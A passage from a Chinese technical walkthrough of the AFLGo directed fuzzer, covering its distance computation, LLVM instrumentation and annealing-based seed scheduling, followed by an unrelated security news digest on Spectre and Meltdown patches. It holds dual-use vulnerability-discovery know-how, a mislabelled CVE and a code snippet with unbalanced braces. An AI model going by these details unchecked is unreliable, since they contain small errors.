if [ $# -eq 3 ]; then
fuzzer=$(find $BINARIES -name "$3.0.0.*.bc" | rev | cut -d. -f5- | rev)
if [ $(echo "$fuzzer" | wc -l) -ne 1 ]; then
echo "Couldn't find bytecode for fuzzer $3 in folder $BINARIES."
exit 1
fi
fi
SCRIPT=$0
ARGS=$@
#SANITY CHECKS
if [ -z "$BINARIES" ]; then echo "Couldn't find binaries folder ($1)."; exit 1; fi
if ! [ -d "$BINARIES" ]; then echo "No directory: $BINARIES."; exit 1; fi
if [ -z "$TMPDIR" ]; then echo "Couldn't find temporary directory ($3)."; exit 1; fi
binaries=$(find $BINARIES -name "*.0.0.*.bc" | rev | cut -d. -f5- | rev)
if [ -z "$binaries" ]; then echo "Couldn't find any binaries in folder $BINARIES."; exit; fi
if [ -z $(which python) ] && [ -z $(which python3) ]; then echo "Please install Python"; exit 1; fi
#if python -c "import pydotplus"; then echo "Install python package: pydotplus (sudo pip install pydotplus)"; exit 1; fi
#if python -c "import pydotplus; import networkx"; then echo "Install python package: networkx (sudo pip install networkx)"; exit 1; fi
FAIL=0
STEP=1
# 该变量是为了在脚本因为其他原因断掉后，可以直接接着上次结果运行，断点存在state文件中
RESUME=$(if [ -f $TMPDIR/state ]; then cat $TMPDIR/state; else echo 0; fi)
# 该函数记录脚本运行到哪个阶段，方便断掉后下次可以接着断开前继续运行
function next_step {
echo $STEP > $TMPDIR/state
if [ $FAIL -ne 0 ]; then
tail -n30 $TMPDIR/step${STEP}.log
echo "-- Problem in Step $STEP of generating $OUT!"
echo "-- You can resume by executing:"
echo "$ $SCRIPT $ARGS $TMPDIR"
exit 1
fi
STEP=$((STEP + 1))
}
上一步得到的图其实只有 CFG，CG 需要调用 llvm 自带的 pass 来生成。
#------------------------------------------------------------------------------- # Construct control flow graph and call graph
#------------------------------------------------------------------------------- if [ $RESUME -le $STEP ]; then
cd $TMPDIR/dot-files
# 如果声明的fuzzer程序不存在，则需要对binary目录下的所有程序都生成CG，否则只需要对声明的fuzzer生成CG。
if [ -z "$fuzzer" ]; then
for binary in $(echo "$binaries"); do
echo "($STEP) Constructing CG for $binary.."
prefix="$TMPDIR/dot-files/$(basename $binary)"
# 调用opt-11的-dot-callgraph pass来生成对应程序的CG
while ! opt-11 -dot-callgraph $binary.0.0.*.bc -callgraph-dot-filename-prefix $prefix >/dev/null 2> $TMPDIR/step${STEP}.log ; do
echo -e "\e[93;1m[!]\e[0m Could not generate call graph. Repeating.."
done
#Remove repeated lines and rename
awk '!a[$0]++' $(basename $binary).callgraph.dot > callgraph.$(basename $binary).dot
rm $(basename $binary).callgraph.dot
done
# 由于这里对所有的程序都生成了CG，需要合并为一张图
#Integrate several call graphs into one
$AFLGO/merge_callgraphs.py -o callgraph.dot $(ls callgraph.*)
echo "($STEP) Integrating several call graphs into one."
else
# 一般只会进入到这里
echo "($STEP) Constructing CG for $fuzzer.."
prefix="$TMPDIR/dot-files/$(basename $fuzzer)"
# 调用opt-11的-dot-callgraph pass来生成对应程序的CG
while ! opt-11 -dot-callgraph $fuzzer.0.0.*.bc -callgraph-dot-filename-prefix $prefix >/dev/null 2> $TMPDIR/step${STEP}.log ; do
echo -e "\e[93;1m[!]\e[0m Could not generate call graph. Repeating.."
done
#Remove repeated lines and rename
awk '!a[$0]++' $(basename $fuzzer).callgraph.dot > callgraph.dot
rm $(basename $fuzzer).callgraph.dot
fi
fi
next_step
生成了 CG 后，就可以计算距离了，按照 AFLGo 的设计，距离分为 function-level 和 basicblock-level
的距离，先计算函数维度的距离，再计算基本块维度的距离，最后得到每一个可以到达目标点的基本块到目标点的距离。
#------------------------------------------------------------------------------- # Generate config file keeping distance information for code instrumentation
#------------------------------------------------------------------------------- if [ $RESUME -le $STEP ]; then
echo "($STEP) Computing distance for call graph .."
# 首先计算函数维度的距离
$AFLGO/distance.py -d $TMPDIR/dot-files/callgraph.dot -t $TMPDIR/Ftargets.txt -n $TMPDIR/Fnames.txt -o $TMPDIR/distance.callgraph.txt > $TMPDIR/step${STEP}.log 2>&1 || FAIL=1
if [ $(cat $TMPDIR/distance.callgraph.txt | wc -l) -eq 0 ]; then
FAIL=1
next_step
fi
printf "($STEP) Computing distance for control-flow graphs "
for f in $(ls -1d $TMPDIR/dot-files/cfg.*.dot); do
# 有一些函数没有在CG中出现，即没有被调用，则忽略这些函数
# Skip CFGs of functions we are not calling
if ! grep "$(basename $f | cut -d. -f2)" $TMPDIR/dot-files/callgraph.dot >/dev/null; then
printf "\nSkipping $f..\n"
continue
fi
#Clean up duplicate lines and \" in labels (bug in Pydotplus)
awk '!a[$0]++' $f > ${f}.smaller.dot
mv $f $f.bigger.dot
mv $f.smaller.dot $f
sed -i s/\\\\\"//g $f
sed -i 's/\[.\"]//g' $f
sed -i 's/\(^\s*[0-9a-zA-Z_]*\):[a-zA-Z0-9]*\( -> \)/\1\2/g' $f
# 再计算基本块维度的距离
#Compute distance
printf "\nComputing distance for $f..\n"
$AFLGO/distance.py -d $f -t $TMPDIR/BBtargets.txt -n $TMPDIR/BBnames.txt -s $TMPDIR/BBcalls.txt -c $TMPDIR/distance.callgraph.txt -o ${f}.distances.txt >> $TMPDIR/step${STEP}.log 2>&1 #|| FAIL=1
if [ $? -ne 0 ]; then
echo -e "\e[93;1m[!]\e[0m Could not calculate distance for $f."
fi
#if [ $FAIL -eq 1 ]; then
# next_step #Fail asap.
#fi
done
echo ""
# 最后将所有的距离合并在distance.cfg.txt文件中，等待第二次编译时插桩
cat $TMPDIR/dot-files/*.distances.txt > $TMPDIR/distance.cfg.txt
fi
next_step
* * *
计算的逻辑都在`scripts/distance.py`脚本中。
##################################
# Main function
##################################
if __name__ == '__main__':
parser = argparse.ArgumentParser ()
parser.add_argument ('-d', '--dot', type=str, required=True, help="Path to dot-file representing the graph.")
parser.add_argument ('-t', '--targets', type=str, required=True, help="Path to file specifying Target nodes.")
parser.add_argument ('-o', '--out', type=str, required=True, help="Path to output file containing distance for each node.")
parser.add_argument ('-n', '--names', type=str, required=True, help="Path to file containing name for each node.")
parser.add_argument ('-c', '--cg_distance', type=str, help="Path to file containing call graph distance.")
parser.add_argument ('-s', '--cg_callsites', type=str, help="Path to file containing mapping between basic blocks and called functions.")
args = parser.parse_args ()
# 读取graph
print ("\nParsing %s .." % args.dot)
G = nx.DiGraph(nx.drawing.nx_pydot.read_dot(args.dot))
print (nx.info(G))
# 判断当前读取的图是CG还是CFG
is_cg = "Name: Call graph" in nx.info(G)
print ("\nWorking in %s mode.." % ("CG" if is_cg else "CFG"))
因为首先要计算函数维度的距离，先看CG的处理逻辑
# Process as CallGraph
else:
# 这里的target是Ftargets文件，即目标点所在的函数
print ("Loading targets..")
with open(args.targets, "r") as f:
targets = []
for line in f.readlines ():
line = line.strip ()
for target in find_nodes(line):
targets.append (target)
if (not targets and is_cg):
print ("No targets available")
exit(0)
print ("Calculating distance..")
with open(args.out, "w") as out, open(args.names, "r") as f:
for line in f.readlines():
distance (line.strip()) # 调用distance函数计算距离
`distance`函数就是计算的关键函数
##################################
# Calculate Distance
##################################
def distance (name): # 这里传入的是每一个函数名
distance = -1
# find_node函数返回graph中该名字对应的节点，即传入函数名的函数所有节点
for n in find_nodes (name):
d = 0.0
i = 0
if is_cg:
for t in targets:
try:
shortest = nx.dijkstra_path_length (G, n, t) # dijkastr最短路径算法，计算从n到t经过的最短路径
d += 1.0 / (1.0 + shortest) # 这里计算采用的是调和平均数，取倒数相加最后平均
i += 1
except nx.NetworkXNoPath:
pass
else:
....
# 如果在迭代后，发现有更短的路径，则更新为最短的距离
if d != 0 and (distance == -1 or distance > i / d) :
distance = i / d
# 将距离写入到文件中
if distance != -1:
out.write (name)
out.write (",")
out.write (str (distance))
out.write ("\n")
函数维度的距离是 CG
上，能够通过调用链调用到目标函数的那些函数，到达目标函数的距离，因为目标点可能不止一个，可能在不同的函数上，这个时候就需要对不同的目标函数的距离做综合，方法就是将到达不同的目标函数的距离取调和平均数。
然后得到函数维度的距离后，计算基本块维度的距离。
# Process as ControlFlowGraph
caller = ""
cg_distance = {}
bb_distance = {}
if not is_cg :
# 首先需要函数维度的距离
if args.cg_distance is None:
print ("Specify file containing CG-level distance (-c).")
exit(1)
# 以及基本块的callsite，即哪些基本块调用了哪些函数
elif args.cg_callsites is None:
print ("Specify file containing mapping between basic blocks and called functions (-s).")
exit(1)
else:
caller = args.dot.split(".")
caller = caller[len(caller)-2]
print ("Loading cg_distance for function '%s'.." % caller)
# 加载函数维度距离
with open(args.cg_distance, 'r') as f:
for l in f.readlines():
s = l.strip().split(",")
cg_distance[s[0]] = float(s[1])
if not cg_distance:
print ("Call graph distance file is empty.")
exit(0)
# 初始化基本块距离为函数维度距离，取最小的值
with open(args.cg_callsites, 'r') as f:
for l in f.readlines():
s = l.strip().split(",")
if find_nodes(s[0]):
if s[1] in cg_distance:
if s[0] in bb_distance:
if bb_distance[s[0]] > cg_distance[s[1]]:
bb_distance[s[0]] = cg_distance[s[1]]
else:
bb_distance[s[0]] = cg_distance[s[1]]
print ("Adding target BBs (if any)..")
with open(args.targets, "r") as f:
for l in f.readlines ():
s = l.strip().split("/");
line = s[len(s) - 1]
if find_nodes(line):
bb_distance[line] = 0
print ("Added target BB %s!" % line)
然后计算还是`distance`函数
else:
for t_name, bb_d in bb_distance.items():
di = 0.0
ii = 0
for t in find_nodes(t_name):
try:
shortest = nx.dijkstra_path_length(G, n, t) # 依然是取最短路径的距离
di += 1.0 / (1.0 + 10 * bb_d + shortest) # 这里的计算实际为(10*func-distance + bb-distance)，然后取调和平均数。
ii += 1
except nx.NetworkXNoPath:
pass
if ii != 0:
d += di / ii
i += 1
if d != 0 and (distance == -1 or distance > i / d) :
distance = i / d
到这里，每个可以到达目标块的基本块的距离就计算完成。最后的距离存储在`distance.callgraph.txt`文件中(如果是采用新版本的`gen_distance_fast.py`脚本计算，最后的文件名为`distance.cfg.txt`)。
### 2.3 插桩距离
得到距离值以后，将每个基本块的距离值插桩到程序中，让fuzzer在fuzzing过程中可以得到距离的反馈。
export CFLAGS="$COPY_CFLAGS -distance=$TMP_DIR/distance.cfg.txt"
export CXXFLAGS="$COPY_CXXFLAGS -distance=$TMP_DIR/distance.cfg.txt"
# Clean and build subject with distance instrumentation ☕️
pushd $SUBJECT
make clean
./configure --disable-shared
make xmllint
popd
这里用编译选项`-distance=$TMP_DIR/distance.cfg.txt"`将文件路径传递给 AFLGo。
if (!TargetsFile.empty()) {
...
} else if (!DistanceFile.empty()) { // 判断distance文件路径是否为空
std::ifstream cf(DistanceFile);
if (cf.is_open()) {
std::string line;
while (getline(cf, line)) {
std::size_t pos = line.find(",");
std::string bb_name = line.substr(0, pos);
// 这里读取distance文件中的基本块名字和距离，计算得到的距离是浮点数，但是插桩为了方便都转为整数
// 所以直接将浮点数值 * 100 取整数部分，存在bb_to_dis的map中
int bb_dis = (int) (100.0 * atof(line.substr(pos + 1, line.length()).c_str()));
bb_to_dis.emplace(bb_name, bb_dis);
basic_blocks.push_back(bb_name);
}
cf.close();
is_aflgo = true;
} else {
FATAL("Unable to find %s.", DistanceFile.c_str());
return false;
}
最后是插桩的逻辑部分，在保留原本 AFL 的插桩逻辑的基础上添加 AFLGo 对距离的插桩
if (is_aflgo_preprocessing) {
...
} else {
/* Distance instrumentation */
/* 这里定义的是LLVM中的整数类型，插桩时需要声明插入数值的类型
*/
LLVMContext &C = M.getContext();
IntegerType *Int8Ty = IntegerType::getInt8Ty(C);
IntegerType *Int32Ty = IntegerType::getInt32Ty(C);
IntegerType *Int64Ty = IntegerType::getInt64Ty(C);
/* 用宏定义__x86_64__区分64位机器和32位机器的插桩数值位数，如果是64位用Int64Ty，32位用Int32Ty
并且MapCntLoc的位置根据机器位数判断是在Map后的8位(MAP_SIZE + 8)还是4位(MAP_SIZE + 4)
*/
#ifdef __x86_64__
IntegerType *LargestType = Int64Ty;
ConstantInt *MapCntLoc = ConstantInt::get(LargestType, MAP_SIZE + 8);
#else
IntegerType *LargestType = Int32Ty;
ConstantInt *MapCntLoc = ConstantInt::get(LargestType, MAP_SIZE + 4);
#endif
ConstantInt *MapDistLoc = ConstantInt::get(LargestType, MAP_SIZE);
ConstantInt *One = ConstantInt::get(LargestType, 1);
/* Get globals for the SHM region and the previous location. Note that
__afl_prev_loc is thread-local. */
GlobalVariable *AFLMapPtr =
new GlobalVariable(M, PointerType::get(Int8Ty, 0), false,
GlobalValue::ExternalLinkage, 0, "__afl_area_ptr");
GlobalVariable *AFLPrevLoc = new GlobalVariable(
M, Int32Ty, false, GlobalValue::ExternalLinkage, 0, "__afl_prev_loc",
0, GlobalVariable::GeneralDynamicTLSModel, 0, false);
// 迭代得到每个BB的名字，粒度从Module > Function > BB > I
for (auto &F : M) {
int distance = -1;
for (auto &BB : F) {
distance = -1;
if (is_aflgo) {
/* 这里获取每个基本块名字的方法和预处理阶段一样，取第一个有效指令的位置信息作为基本块名字
*/
std::string bb_name;
for (auto &I : BB) {
std::string filename;
unsigned line;
getDebugLoc(&I, filename, line);
if (filename.empty() || line == 0)
continue;
std::size_t found = filename.find_last_of("/\\");
if (found != std::string::npos)
filename = filename.substr(found + 1);
bb_name = filename + ":" + std::to_string(line);
break;
}
if (!bb_name.empty()) {
/* 比较名字是否相同判断是否是需要插桩的基本块
*/
if (find(basic_blocks.begin(), basic_blocks.end(), bb_name) == basic_blocks.end()) {
/* 如果开启AFLGO_SELECTIVE选项，则不进入后面插桩的逻辑部分，即AFL的逻辑也只对AFLGo选择的基本块插桩
*/
if (is_selective)
continue;
} else {
/* Find distance for BB */
/* 找到对应基本块的距离
*/
if (AFL_R(100) < dinst_ratio) {
std::map<std::string,int>::iterator it;
for (it = bb_to_dis.begin(); it != bb_to_dis.end(); ++it)
if (it->first.compare(bb_name) == 0)
distance = it->second;
}
}
}
}
/* 进入插桩的逻辑部分，前面的部分是AFL的basicblock edge插桩逻辑
*/
BasicBlock::iterator IP = BB.getFirstInsertionPt();
IRBuilder<> IRB(&(*IP));
if (AFL_R(100) >= inst_ratio) continue;
/* Make up cur_loc */
unsigned int cur_loc = AFL_R(MAP_SIZE);
ConstantInt *CurLoc = ConstantInt::get(Int32Ty, cur_loc);
/* Load prev_loc */
LoadInst *PrevLoc = IRB.CreateLoad(AFLPrevLoc);
PrevLoc->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *PrevLocCasted = IRB.CreateZExt(PrevLoc, IRB.getInt32Ty());
/* Load SHM pointer */
LoadInst *MapPtr = IRB.CreateLoad(AFLMapPtr);
MapPtr->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *MapPtrIdx =
IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc));
/* Update bitmap */
LoadInst *Counter = IRB.CreateLoad(MapPtrIdx);
Counter->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *Incr = IRB.CreateAdd(Counter, ConstantInt::get(Int8Ty, 1));
IRB.CreateStore(Incr, MapPtrIdx)
->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
/* Set prev_loc to cur_loc >> 1 */
StoreInst *Store =
IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc >> 1), AFLPrevLoc);
Store->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
/* 下面是AFLGo的距离插桩部分，将该基本块的距离累加到MapDistLoc的位置上，再递增MapCntLoc位置的值，
即：MapDistLoc上的值表示seed经过所有的基本块的距离累加和，MapCntLoc上的值表示seed经过的基本块的数量。
*/
if (distance >= 0) {
ConstantInt *Distance =
ConstantInt::get(LargestType, (unsigned) distance);
/* Add distance to shm[MAPSIZE] */
Value *MapDistPtr = IRB.CreateBitCast(
IRB.CreateGEP(MapPtr, MapDistLoc), LargestType->getPointerTo());
LoadInst *MapDist = IRB.CreateLoad(MapDistPtr);
MapDist->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *IncrDist = IRB.CreateAdd(MapDist, Distance);
IRB.CreateStore(IncrDist, MapDistPtr)
->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
/* Increase count at shm[MAPSIZE + (4 or 8)] */
Value *MapCntPtr = IRB.CreateBitCast(
IRB.CreateGEP(MapPtr, MapCntLoc), LargestType->getPointerTo());
LoadInst *MapCnt = IRB.CreateLoad(MapCntPtr);
MapCnt->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *IncrCnt = IRB.CreateAdd(MapCnt, One);
IRB.CreateStore(IncrCnt, MapCntPtr)
->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
}
inst_blocks++;
}
}
}
这里突然出现了两个新的共享内存位置，所以分配的时候需要增加分配空间，修改分配空间在`llvm_mode/afl-llvm-rt.o.c`文件中
u8 __afl_area_initial[MAP_SIZE + 16]; // 增加16字节，按照最大64位算，一个变量8字节，需要2个变量就是16字节
// ...
// 以及
int __afl_persistent_loop(unsigned int max_cnt) {
static u8 first_pass = 1;
static u32 cycle_cnt;
if (first_pass) {
/* Make sure that every iteration of __AFL_LOOP() starts with a clean slate.
On subsequent calls, the parent will take care of that, but on the first
iteration, it's our job to erase any trace of whatever happened
before the loop. */
if (is_persistent) {
memset(__afl_area_ptr, 0, MAP_SIZE + 16); // 同上
__afl_area_ptr[0] = 1;
__afl_prev_loc = 0;
}
...
到这里，插桩的逻辑结束。
### 2.4 AFL 修改
插桩时增加了 distance 的 feedback，AFL 也需要增加对应的逻辑处理，fuzzing 的部分修改主要都在`afl-fuzz.c`文件中
首先是增加了一些变量，具体用处作者都写了就不赘述了。
static double cur_distance = -1.0; /* Distance of executed input */
static double max_distance = -1.0; /* Maximal distance for any input */
static double min_distance = -1.0; /* Minimal distance for any input */
static u32 t_x = 10; /* Time to exploitation (Default: 10 min) */
**2.4.1 获取距离**
那么 fuzzer 是如何获取程序反馈的距离的？首先同样也需要分配与插桩时同样多的空间接收 bitmap 的信息。
/* Allocate 24 byte more for distance info */ // 这里作者的注释应该写错了，是16 byte
shm_id = shmget(IPC_PRIVATE, MAP_SIZE + 16, IPC_CREAT | IPC_EXCL | 0600);
计算 bitmap 信息的函数是`has_new_bits`，判断 bitmap 是否覆盖了新的 bit，表示有新的 edge coverage
static inline u8 has_new_bits(u8* virgin_map) {
/* 同样也根据宏定义区分机器字长 */
#ifdef __x86_64__
u64* current = (u64*)trace_bits;
u64* virgin = (u64*)virgin_map;
u32 i = (MAP_SIZE >> 3);
/* Calculate distance of current input to targets */
/* 获取distance的变量地址和count的地址，分别是bitmap紧接着的后两个变量。 */
u64* total_distance = (u64*) (trace_bits + MAP_SIZE);
u64* total_count = (u64*) (trace_bits + MAP_SIZE + 8);
/* 当前seed的距离就是总距离 / 总块数 */
if (*total_count > 0)
cur_distance = (double) (*total_distance) / (double) (*total_count);
else
cur_distance = -1.0;
#else
u32* current = (u32*)trace_bits;
u32* virgin = (u32*)virgin_map;
u32 i = (MAP_SIZE >> 2);
/* Calculate distance of current input to targets */
u32* total_distance = (u32*)(trace_bits + MAP_SIZE);
u32* total_count = (u32*)(trace_bits + MAP_SIZE + 4);
if (*total_count > 0) {
cur_distance = (double) (*total_distance) / (double) (*total_count);
else
cur_distance = -1.0;
#endif /* ^__x86_64__ */
经过`has_new_bits`函数计算后，seed 的距离就存放在变量`cur_distance`中，在得到距离后，更新当前 seed 的距离和最大最小值
`add_to_queue`函数
q->distance = cur_distance;
if (cur_distance > 0) {
if (max_distance <= 0) {
max_distance = cur_distance;
min_distance = cur_distance;
}
if (cur_distance > max_distance) max_distance = cur_distance;
if (cur_distance < min_distance) min_distance = cur_distance;
}
`calibrate_case`函数
if (q->distance <= 0) {
/* This calculates cur_distance */
has_new_bits(virgin_bits);
q->distance = cur_distance;
if (cur_distance > 0) {
if (max_distance <= 0) {
max_distance = cur_distance;
min_distance = cur_distance;
}
if (cur_distance > max_distance) max_distance = cur_distance;
if (cur_distance < min_distance) min_distance = cur_distance;
}
}
有了 seed 的距离后，如何引导 fuzzer 朝向目标节点探索呢，这里就用到了一个算法叫做 **模拟退火算法** 。
**2.4.2 模拟退火**
简介来自于维基百科
>
> 模拟退火来自[冶金学](https://zh.wikipedia.org/wiki/%E5%86%B6%E9%87%91%E5%AD%B8)的专有名词[退火](https://zh.wikipedia.org/wiki/%E9%80%80%E7%81%AB)。退火是将材料加热后再经特定速率冷却，目的是增大[晶粒](https://zh.wikipedia.org/wiki/%E6%99%B6%E9%AB%94)的体积，并且减少晶格中的缺陷。材料中的原子原来会停留在使[内能](https://zh.wikipedia.org/wiki/%E5%85%A7%E8%83%BD)有局部最小值的位置，加热使能量变大，原子会离开原来位置，而随机在其他位置中移动。退火冷却时速度较慢，使得原子有较多可能可以找到内能比原先更低的位置。
>
>
> 模拟退火的原理也和金属退火的原理近似：我们将热力学的理论套用到统计学上，将搜寻空间内每一点想像成空气内的分子；分子的能量，就是它本身的动能；而搜寻空间内的每一点，也像空气分子一样带有“能量”，以表示该点对命题的合适程度。算法先以搜寻空间内一个任意点作起始：每一步先选择一个“邻居”，然后再计算从现有位置到达“邻居”的概率。
>
>
> 可以证明，模拟退火算法所得解[依概率收敛](https://zh.wikipedia.org/wiki/%E4%BE%9D%E6%A6%82%E7%8E%87%E6%94%B6%E6%95%9B)到全局最优解。
实际上，其实模拟退火算法就是以一定概率能够接受非最优解，来跳出局部最优解，达到全局最优。因为贪心算法每次都只选择当前的最有解，但是很可能会陷入局部最优，不一定能搜索到全局最优解，例如爬山算法，以图为例：
假设C点为当前解，爬山算法搜索到A点这个局部最优解就会停止搜索，因为在A点无论向那个方向小幅度移动都不能得到更优的解。
但模拟退火的搜索过程引入了随机因素。模拟退火算法 **以一定的概率** 来接受一个比当前解要差的解，因此 **有可能**
会跳出这个局部的最优解，达到全局的最优解。还是以上图为例，模拟退火算法在搜索到局部最优解A后，会 **以一定的概率**
接受到E的移动。也许经过几次这样的不是局部最优的移动后会到达D点，于是就跳出了局部最大值A。
那么 AFLGo 是怎么应用模拟退火算法的呢？是用在了 seed 的 **power scheduling** 上。
AFL 的`calculate_score`函数是对 seed 进行打分，打分的分数决定对 seed fuzzing的时间长度，按照直觉来说，距离越近的
seed，有更大的概率能够到达目标点，则应该分配更多的时间给这些 seed。但是这样就会陷入上面所说的局部最优的困局里，于是 AFLGo
采用时间作为一个划分阶段的 metric，当 fuzzing 的时间在预定的时间内时，让时间较为公平的分配给每个 seed 上，当 fuzzing
时间超过了预定的时间后，时间就集中分配给哪些距离较近的 seed 上。这样可以在前期避免还未广泛探索就过度集中的局部最优的情况。
u64 cur_ms = get_cur_time();
u64 t = (cur_ms - start_time) / 1000; // 计算当前运行时间
double progress_to_tx = ((double) t) / ((double) t_x * 60.0); // 进度条，距离利用阶段的比例还有多少
double T;
//TODO Substitute functions of exp and log with faster bitwise operations on integers
// 这里根据fuzzing前的选项选择冷却时间的模型，是log函数，还是线性，还是指数等等
switch (cooling_schedule) {
case SAN_EXP:
T = 1.0 / pow(20.0, progress_to_tx);
break;
case SAN_LOG:
// alpha = 2 and exp(19/2) - 1 = 13358.7268297
T = 1.0 / (1.0 + 2.0 * log(1.0 + progress_to_tx * 13358.7268297));
break;
case SAN_LIN:
T = 1.0 / (1.0 + 19.0 * progress_to_tx);
break;
case SAN_QUAD:
T = 1.0 / (1.0 + 19.0 * pow(progress_to_tx, 2));
break;
default:
PFATAL ("Unkown Power Schedule for Directed Fuzzing");
}
double power_factor = 1.0;
if (q->distance > 0) {
double normalized_d = 0; // when "max_distance == min_distance", we set the normalized_d to 0 so that we can sufficiently explore those testcases whose distance >= 0.
if (max_distance != min_distance)
// 首先归一化距离
normalized_d = (q->distance - min_distance) / (max_distance - min_distance);
if (normalized_d >= 0) {
double p = (1.0 - normalized_d) * (1.0 - T) + 0.5 * T; // 计算p值，由距离和时间共同决定
power_factor = pow(2.0, 2.0 * (double) log2(MAX_FACTOR) * (p - 0.5)); // 最后根据p值计算得到factor，
}// else WARNF ("Normalized distance negative: %f", normalized_d);
}
perf_score *= power_factor; // 乘上factor得到最后的score
`cooling_schedule`的选择来源于用户在 fuzzing 前传入的参数
case 'z': /* Cooling schedule for Directed Fuzzing */
if (!stricmp(optarg, "exp"))
cooling_schedule = SAN_EXP;
else if (!stricmp(optarg, "log"))
cooling_schedule = SAN_LOG;
else if (!stricmp(optarg, "lin"))
cooling_schedule = SAN_LIN;
else if (!stricmp(optarg, "quad"))
cooling_schedule = SAN_QUAD;
else
PFATAL ("Unknown value for option -z");
break;
时间的设定来源于：
case 'c': { /* cut-off time for cooling schedule */
u8 suffix = 'm';
if (sscanf(optarg, "%u%c", &t_x, &suffix) < 1 ||
optarg[0] == '-') FATAL("Bad syntax used for -c");
switch (suffix) {
case 's': t_x /= 60; break;
case 'm': break;
case 'h': t_x *= 60; break;
case 'd': t_x *= 60 * 24; break;
default: FATAL("Unsupported suffix or bad syntax for -c");
}
}
break;
最后存在`t_x`变量中。
而`perf_score`影响的是 havoc 阶段的时间
orig_perf = perf_score = calculate_score(queue_cur);
...
havoc_stage:
stage_cur_byte = -1;
/* The havoc stage mutation code is also invoked when splicing files; if the
splice_cycle variable is set, generate different descriptions and such. */
if (!splice_cycle) {
stage_name = "havoc";
stage_short = "havoc";
stage_max = (doing_det ? HAVOC_CYCLES_INIT : HAVOC_CYCLES) *
perf_score / havoc_div / 100; // stage_max决定havoc的次数
} else {
static u8 tmp[32];
perf_score = orig_perf;
sprintf(tmp, "splice %u", splice_cycle);
stage_name = tmp;
stage_short = "splice";
stage_max = SPLICE_HAVOC * perf_score / havoc_div / 100; // stage_max决定havoc的次数
}
## 3\. 存在的缺陷
这篇工作发在2017年，在当时首次提出了 directed 的方向，后来很多的 directed fuzzing 的工作都借鉴其做法，主要的核心都是围绕
distance 来引导的。但同时也存在一些设计和实现上的缺陷。
首先是设计上，因为 distance 的计算为了方便，只采用了最短路径的值计算
distance，但这带来一个问题，如果同时有多条路径能够到达目标节点，那么除了最短路径之外的路径则会被忽略掉，这样是不合理的。2018年 CCS
的论文[Hawkeye](https://www.researchgate.net/profile/Hongxu-Chen-4/publication/328327299_Hawkeye_Towards_a_Desired_Directed_Grey-box_Fuzzer/links/5bcbe6c0299bf17a1c643e4d/Hawkeye-Towards-a-Desired-Directed-Grey-box-Fuzzer.pdf)首次指出这个问题，该文章的解决方法是同时增加一个 function similarity 的 metric，综合
distance 与 function similarity 两个指标来判断。后续还有很多 directed fuzzing 提出了很多的新指标，比
distance 更加精细，比如 sequence，constraint 等等。
其次是实现上的问题，CG 的生成采用的是 llvm 自带的 pass 生成，但是静态分析无法分析一些特殊的函数调用情况，例如 indirect
call，virtual function
等等，这些特殊的函数调用在静态分析中是无法分析的，只有在动态执行中才能够确认调用的哪一个函数。这样会导致在某些程序上一些路径上没有反馈，甚至会变得没有路径可达。Hawkeye
同样也指出这个问题，它的解决方法是用指针分析的方法补上可能的 indirect call，让 CG 更加完整。
Hawkeye 这篇文章几乎就是对 AFLGo 的全面改进，但其未开源，所以这些方法没有源码可以进行实现的借鉴。
以及模拟退火算法的实现，由于 AFLGo 的模拟退火算法需要用户自己设定时间决定 exploration-exploitation
的分界时间，但是经过笔者的测试，`t_x`的选择很难找到一个通用的时间，只能针对不同的时间做大量的测试后才能确定一个较好的时间范围，但这样其实需要浪费大量时间去确认一个时间边界，最好是能够自适应的根据
fuzzing 调整阶段，但目前没有 fuzzer 做到这件事。
如果想了解其他 directed fuzzing 的工作，推荐这篇[SoK](https://arxiv.org/pdf/2005.11907.pdf)。 | 社区文章 |
# 1月9日安全热点–苹果为Spectre漏洞发布iOS和macOS更新
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Win10用户安装Meltdown/Spectre漏洞的安全更新KB4056892后无法启动系统
许多用户在微软社区（answers.microsoft.com）下抱怨说，在安装了Windows对
Meltdown/Spectre漏洞的安全更新KB4056892之后，搭载AMD速龙的PC就无法启动了，无法进入安全模式，只能看到Windows启动logo。多次启动失败之后，就开始回滚，然后显示错误0x800f0845
。不幸的是，在没有修改gpedit（组策略）的情况下，很难禁用掉自动更新，于是就开始不停地安装更新然后回滚。一些用户称即便重装Windows10也不能解决。
详情见：
<https://answers.microsoft.com/en-us/windows/forum/windows_10-update/after-installation-of-kb4056892-boot-failure-after/6c015632-2a45-4725-a882-f231f8c88f36?auth=1>
<https://www.reddit.com/r/sysadmin/comments/7ode4s/problems_with_windows_7_quality_rollup_kb4056894/>
<https://answers.microsoft.com/en-us/windows/forum/windows_7-update/stop-0x000000c4-after-installing-kb4056894-2018-01/f09a8be3-5313-40bb-9cef-727fcdd4cd56?auth=1>
苹果为Spectre漏洞发布iOS和macOS更新
（苹果发布了macOS High Sierra 10.13.2补充更新，iOS 11.2.2和Safari
11.0.2，包含对Spectre漏洞的缓解措施。此前在2017年12月发布了iOS 11.2，macOS 10.13.2和tvOS
11.2，以修复Meltdown漏洞（CVE-2017-5753））
<https://www.bleepingcomputer.com/news/apple/apple-releases-security-updates-for-spectre-cpu-flaw/>
<https://support.apple.com/en-us/HT208397>
<https://support.apple.com/en-us/HT208401>
WPA3 WiFi认证协议的第一份正式草案将在今年晚些时候发布
<https://www.bleepingcomputer.com/news/hardware/wpa3-wifi-standard-announced-after-researchers-kracked-wpa2-three-months-ago/>
腾讯安全玄武实验室发布的对Spectre漏洞的在线监测工具
<http://xlab.tencent.com/special/spectre/spectre_check.html>
2017 Black Hat Europe大会回顾
<https://researchcenter.paloaltonetworks.com/2018/01/2017-black-hat-europe-noc-tales-coverage-compromise/>
## 技术类
Spectre CVE-2017-5753 PoC for Android/ARM64
<https://github.com/V-E-O/PoC/blob/master/CVE-2017-5753/source.c>
mcafee发布2018年威胁预测
